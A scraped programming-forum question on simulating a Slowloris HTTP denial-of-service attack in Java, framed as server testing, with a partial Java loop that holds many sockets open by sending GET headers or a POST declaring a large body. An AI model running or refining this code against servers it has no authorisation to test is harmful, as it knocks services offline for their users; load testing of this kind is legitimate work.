perl - Java - Simulate Slowloris HTTP DoS attack -


i need write java code test simulate slowloris http dos attack on web server. i've found perl code that: http://ha.ckers.org/slowloris/

my environment not constant, meaning can't guarantee active-perl installed on machine. there way that? there way use jerl (https://code.google.com/p/jerl/) without active-perl installation (maybe can add needed liberaries java project?)?

switch (dosmethod) {         case get:             while(!stopworking)             {                 for(int i=0;i<per_thread;i++)                 {                     if(socks[i].isconnected())                     {                     try                     {                         printwriter pw = new printwriter(socks[i].getoutputstream());                         pw.println("get / http/1.1");                         pw.println("host: " + hp.gethosttext());                         pw.println();                         pw.flush();                     }                     catch (exception e){}                     }                     else                     {                         try {                             socks[i] = new socket(inetaddress.getbyname(hp.gethosttext()), hp.getport());                         } catch (ioexception e) {                             e.printstacktrace();                         }                     }                 }             }             break;         case post:             for(int i=0;i<per_thread;i++)             {                 try {                     socks[i].close();                 } catch (ioexception e) {                     e.printstacktrace();                 }             }             while(!stopworking)             {                 for(int i=0;i<per_thread;i++)                 {                     if(socks[i].isconnected())                     {                         try {                             printwriter pw = new printwriter(socks[i].getoutputstream());                             pw.println();                         } catch (ioexception e) {                             e.printstacktrace();                         }                     }                     else                     {                         try {                             socks[i] = new socket(inetaddress.getbyname(hp.gethosttext()), hp.getport());                             printwriter pw = new printwriter(socks[i].getoutputstream());                             pw.println("post / http/1.1");                             pw.println("user-agent: %s");                             pw.println("connection: keep-alive");                             pw.println("keep-alive: 900");                             pw.println("content-length: 10000");                             pw.println("content-type: application/x-www-form-urlencoded");                             pw.println();                             pw.flush();                         } catch (ioexception e) {                             e.printstacktrace();                         }                     }                 }             }             break;     } 

where socks array of sockets (socket[] socks = new socket[connsperthread];


Popular posts from this blog

How to calculate SNR of signals in MATLAB? -

c# - Attempting to upload to FTP: System.Net.WebException: System error -

ios - UISlider customization: how to properly add shadow to custom knob image -